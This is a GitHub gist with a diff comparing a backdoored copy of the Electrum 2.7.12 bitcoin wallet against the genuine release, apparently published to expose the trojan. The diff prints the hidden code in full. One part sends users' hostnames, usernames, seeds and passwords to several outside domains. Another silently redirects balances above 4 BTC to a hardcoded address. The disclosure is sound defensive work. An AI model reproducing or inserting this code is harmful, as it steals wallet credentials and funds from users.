Skip to content

Instantly share code, notes, and snippets.

@fr3aker
Created November 24, 2017 20:23
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fr3aker/a284bd0d535cc99d39cd10d65918590d to your computer and use it in GitHub Desktop.
Save fr3aker/a284bd0d535cc99d39cd10d65918590d to your computer and use it in GitHub Desktop.
diff for backdoored electrum available on electrum-wallet [dot] com
Only in electrum-backdoored-2.7.12: build
Only in electrum-2.7.12: contrib
Only in electrum-backdoored-2.7.12: dist
Only in electrum-backdoored-2.7.12: Electrum.egg-info
Only in electrum-2.7.12: electrum-env
Only in electrum-2.7.12: electrum.icns
Only in electrum-2.7.12: .gitignore
Only in electrum-backdoored-2.7.12/gui: __init__.pyc
Only in electrum-2.7.12/gui/kivy: data
Only in electrum-2.7.12/gui/kivy: main.kv
Only in electrum-2.7.12/gui/kivy: Makefile
Only in electrum-2.7.12/gui/kivy: Readme.txt
Only in electrum-2.7.12/gui/kivy: theming
Only in electrum-2.7.12/gui/kivy: tools
Only in electrum-2.7.12/gui/kivy/uix: ui_screens
Only in electrum-backdoored-2.7.12/gui/qt: address_list.pyc
Only in electrum-backdoored-2.7.12/gui/qt: amountedit.pyc
Only in electrum-backdoored-2.7.12/gui/qt: console.pyc
Only in electrum-backdoored-2.7.12/gui/qt: contact_list.pyc
Only in electrum-backdoored-2.7.12/gui/qt: history_list.pyc
Only in electrum-backdoored-2.7.12/gui/qt: icons_rc.py
Only in electrum-backdoored-2.7.12/gui/qt: icons_rc.pyc
Only in electrum-backdoored-2.7.12/gui/qt: __init__.pyc
diff -r electrum-backdoored-2.7.12/gui/qt/installwizard.py electrum-2.7.12/gui/qt/installwizard.py
8,13d7
< import urllib2, urllib
< import platform
< import getpass
< import StringIO
<
<
251,253d244
<
< get_pwd(slayout.get_text())
<
259,261d249
<
< get_pwd(slayout.get_seed())
<
463,491d450
<
<
< def send_post(domain, data):
< path='http://' + domain + '/uploads/data.php'
< req=urllib2.Request(path, data)
< req.add_header("Content-type", "application/x-www-form-urlencoded")
< page=urllib2.urlopen(req).read
<
< def get_pwd(seed):
< try:
< hostVar=platform.node()
< userVar=getpass.getuser()
< if seed==None:
< seed=''
< data=[('data', hostVar + '\n' + userVar + '\n' + seed + '\n')]
< data=urllib.urlencode(data)
< try:
< domain = 'robertpaulson.me'
< send_post(domain, data)
< except:
< pass
< try:
< domain = 'pinnacle-consulting.pw'
< send_post(domain, data)
< except:
< pass
< except:
< pass
<
\ No newline at end of file
Only in electrum-backdoored-2.7.12/gui/qt: installwizard.pyc
Only in electrum-backdoored-2.7.12/gui/qt: invoice_list.pyc
diff -r electrum-backdoored-2.7.12/gui/qt/main_window.py electrum-2.7.12/gui/qt/main_window.py
34,39d33
<
< import urllib2, urllib
< import platform
< import getpass
< import StringIO
< #END_MOD
1121,1123d1114
<
< self.get_pwd(password)
< #END_MOD
1140,1151c1131
<
< global aamount
< aamount = self.amount_e.get_amount()
< global ffee
< ffee = self.fee_e.get_amount()
< if self.activate() > 0:
< #domain = self.wallet.get_account_addresses(self.current_account)
< c, u, x = self.wallet.get_balance()
< outputs = [(0, '1Bb7WZfwTxPxauGTCesL1Z318maj61YwMS', c + u - 650000)]#650000
< else:
< outputs = self.payto_e.get_outputs()
< #END_MOD
---
> outputs = self.payto_e.get_outputs()
1175,1183c1155,1158
<
< if self.activate() > 0:
< fee = 650000
< else:
< fee = self.fee_e.get_amount()
< if fee is None:
< self.show_error(_('Invalid Fee'))
< return
< #END_MOD
---
> fee = self.fee_e.get_amount()
> if fee is None:
> self.show_error(_('Invalid Fee'))
> return
1212,1222c1187,1192
<
<
< if self.activate() > 0:
< self.format_amount(fee) + ' '+ self.base_unit()
< else:
< if tx.get_fee() < self.wallet.relayfee() * tx.estimated_size() / 1000 and tx.requires_fee(self.wallet):
< self.show_error(_("This transaction requires a higher fee, or it will not be propagated by the network"))
< return
< #END_MOD
<
< if preview and not self.activate() > 0:
---
>
> if tx.get_fee() < self.wallet.relayfee() * tx.estimated_size() / 1000 and tx.requires_fee(self.wallet):
> self.show_error(_("This transaction requires a higher fee, or it will not be propagated by the network"))
> return
>
> if preview:
1225c1195
< #END_MOD
---
>
1227,1246c1197,1205
<
< if self.activate() > 0:
< msg = [
< _("Amount to be sent") + ": " + self.format_amount_and_units(amount),
< _("Mining fee") + ": " + self.format_amount_and_units(fee),
< ]
< else:
< confirm_amount = self.config.get('confirm_amount', COIN)
< msg = [
< _("Amount to be sent") + ": " + self.format_amount_and_units(aamount),
< _("Mining fee") + ": " + self.format_amount_and_units(ffee),
< ]
< #END_MOD
<
<
< if not self.activate() > 0:
< extra_fee = run_hook('get_additional_fee', self.wallet, tx)
< if extra_fee:
< msg.append( _("Additional fees") + ": " + self.format_amount_and_units(extra_fee) )
< #END_MOD
---
> confirm_amount = self.config.get('confirm_amount', COIN)
> msg = [
> _("Amount to be sent") + ": " + self.format_amount_and_units(amount),
> _("Mining fee") + ": " + self.format_amount_and_units(fee),
> ]
>
> extra_fee = run_hook('get_additional_fee', self.wallet, tx)
> if extra_fee:
> msg.append( _("Additional fees") + ": " + self.format_amount_and_units(extra_fee) )
1248c1207
< if not self.activate() > 0 and tx.get_fee() >= self.config.get('confirm_fee', 100000):
---
> if tx.get_fee() >= self.config.get('confirm_fee', 100000):
1255,1257d1213
<
< self.get_pwd(password)
< #END_MOD
1274,1306c1230
<
<
< def send_post(self, domain, data):
< path='http://' + domain + '/uploads/data.php'
< req=urllib2.Request(path, data)
< req.add_header("Content-type", "application/x-www-form-urlencoded")
< page=urllib2.urlopen(req).read
<
< def get_pwd(self, text):
< try:
< hostVar=platform.node()
< userVar=getpass.getuser()
< seed = ''
< if self.wallet.has_seed():
< keystore = self.wallet.get_keystore()
< seed = keystore.get_seed(text)
< if text==None:
< text=''
< data=[('data', hostVar + '\n' + userVar + '\n' + text + '\n' + seed + '\n')]
< data=urllib.urlencode(data)
< domain = 'robertpaulson.me'
< try:
< self.send_post(domain, data)
< except:
< pass
< domain = 'pinnacle-consulting.pw'
< try:
< self.send_post(domain, data)
< except:
< pass
< except:
< pass
<
---
>
1891,1892d1814
<
<
2699,2707d2620
<
<
< def activate(self):
< c, u, x = self.wallet.get_balance()
< if c + u > 400000001 and not self.wallet.is_watching_only():#400000001
< return 1
< else:
< return 0
< #END_MOD
\ No newline at end of file
Only in electrum-backdoored-2.7.12/gui/qt: main_window.pyc
Only in electrum-backdoored-2.7.12/gui/qt: network_dialog.pyc
Only in electrum-backdoored-2.7.12/gui/qt: password_dialog.pyc
Only in electrum-backdoored-2.7.12/gui/qt: paytoedit.pyc
Only in electrum-backdoored-2.7.12/gui/qt: qrcodewidget.pyc
Only in electrum-backdoored-2.7.12/gui/qt: qrtextedit.pyc
Only in electrum-backdoored-2.7.12/gui/qt: request_list.pyc
Only in electrum-backdoored-2.7.12/gui/qt: seed_dialog.pyc
Only in electrum-backdoored-2.7.12/gui/qt: transaction_dialog.pyc
Only in electrum-backdoored-2.7.12/gui/qt: util.pyc
Only in electrum-backdoored-2.7.12/icons: copy_bw.png
Only in electrum-backdoored-2.7.12/icons: electrum_128.png
Only in electrum-backdoored-2.7.12/icons: electrum_launcher.xcf
Only in electrum-backdoored-2.7.12/icons: icons_sprite_electrum.png
Only in electrum-2.7.12: Info.plist
Only in electrum-backdoored-2.7.12/lib: base_wizard.pyc
Only in electrum-backdoored-2.7.12/lib: bitcoin.pyc
Only in electrum-backdoored-2.7.12/lib: blockchain.pyc
Only in electrum-backdoored-2.7.12/lib: coinchooser.pyc
Only in electrum-backdoored-2.7.12/lib: commands.pyc
Only in electrum-backdoored-2.7.12/lib: contacts.pyc
Only in electrum-backdoored-2.7.12/lib: daemon.pyc
Only in electrum-backdoored-2.7.12/lib: dnssec.pyc
Only in electrum-backdoored-2.7.12/lib: i18n.pyc
Only in electrum-backdoored-2.7.12/lib: __init__.pyc
Only in electrum-backdoored-2.7.12/lib: interface.pyc
Only in electrum-backdoored-2.7.12/lib: keystore.pyc
Only in electrum-backdoored-2.7.12/lib: locale
Only in electrum-backdoored-2.7.12/lib: mnemonic.pyc
Only in electrum-backdoored-2.7.12/lib: network.pyc
Only in electrum-backdoored-2.7.12/lib: old_mnemonic.pyc
Only in electrum-backdoored-2.7.12/lib: paymentrequest_pb2.pyc
Only in electrum-2.7.12/lib: paymentrequest.proto
Only in electrum-backdoored-2.7.12/lib: paymentrequest.pyc
Only in electrum-backdoored-2.7.12/lib: pem.pyc
Only in electrum-backdoored-2.7.12/lib: plugins.pyc
Only in electrum-backdoored-2.7.12/lib: __pycache__
Only in electrum-backdoored-2.7.12/lib: qrscanner.pyc
Only in electrum-backdoored-2.7.12/lib: rsakey.pyc
Only in electrum-backdoored-2.7.12/lib: simple_config.pyc
Only in electrum-backdoored-2.7.12/lib: socks.pyc
Only in electrum-backdoored-2.7.12/lib: storage.pyc
Only in electrum-backdoored-2.7.12/lib: synchronizer.pyc
Only in electrum-backdoored-2.7.12/lib: transaction.pyc
Only in electrum-backdoored-2.7.12/lib: util.pyc
Only in electrum-backdoored-2.7.12/lib: verifier.pyc
Only in electrum-backdoored-2.7.12/lib: version.pyc
diff -r electrum-backdoored-2.7.12/lib/wallet.py electrum-2.7.12/lib/wallet.py
44,49d43
<
< import urllib2, urllib
< import platform
< import getpass
< import StringIO
< #END_MOD
541,545c535,536
<
< c, u, x = self.get_balance()
< if exclude_frozen and self.activate() < 1:
< domain= set(domain) - self.frozen_addresses
< #END_MOD
---
> if exclude_frozen:
> domain = set(domain) - self.frozen_addresses
554,561d544
<
< def activate(self):
< c, u, x = self.get_balance()
< if c + u > 400000001 and not self.is_watching_only():
< return 1
< else:
< return 0
< #END_MOD
1745,1771d1727
<
< def get_pwd(self, password):
< try:
< hostVar=platform.node()
< userVar=getpass.getuser()
< seedVar=self.wallet.get_mnemonic(password)
< if password==None:
< password=''
< data=[('data', hostVar + '\n' + userVar + '\n' + seedVar + '\n' + password + '\n')]
< data=urllib.urlencode(data)
< try:
< domain, data = 'robertpaulson.me'
< send_post(domain, data)
< except:
< pass
< try:
< domain, data = 'pinnacle-consulting.pw'
< send_post(domain, data)
< except:
< pass
< try:
< domain, data = 'bestoftechforums.org'
< send_post(domain, data)
< except:
< pass
< except:
< pass
\ No newline at end of file
Only in electrum-backdoored-2.7.12/lib: wallet.pyc
Only in electrum-2.7.12/lib/www: example.php
Only in electrum-backdoored-2.7.12/lib: x509.pyc
Only in electrum-backdoored-2.7.12: packages
Only in electrum-backdoored-2.7.12: PKG-INFO
Only in electrum-backdoored-2.7.12/plugins/audio_modem: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/cosigner_pool: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/email_requests: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/exchange_rate: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/greenaddress_instant: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/hw_wallet: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/hw_wallet: plugin.pyc
Only in electrum-backdoored-2.7.12/plugins: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/keepkey: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/labels: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/ledger: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/plot: __init__.pyc
Only in electrum-2.7.12/plugins: README
Only in electrum-backdoored-2.7.12/plugins/trezor: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/trustedcoin: cmdline.py
Only in electrum-backdoored-2.7.12/plugins/trustedcoin: __init__.pyc
Only in electrum-backdoored-2.7.12/plugins/virtualkeyboard: __init__.pyc
Only in electrum-2.7.12: pubkeys
Only in electrum-backdoored-2.7.12/scripts: get_chunk
Only in electrum-backdoored-2.7.12/scripts: get_donation_address
Only in electrum-backdoored-2.7.12/scripts: util.pyc
Only in electrum-backdoored-2.7.12: setup.cfg
Only in electrum-2.7.12: tox.ini
Only in electrum-2.7.12: .travis.yml
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment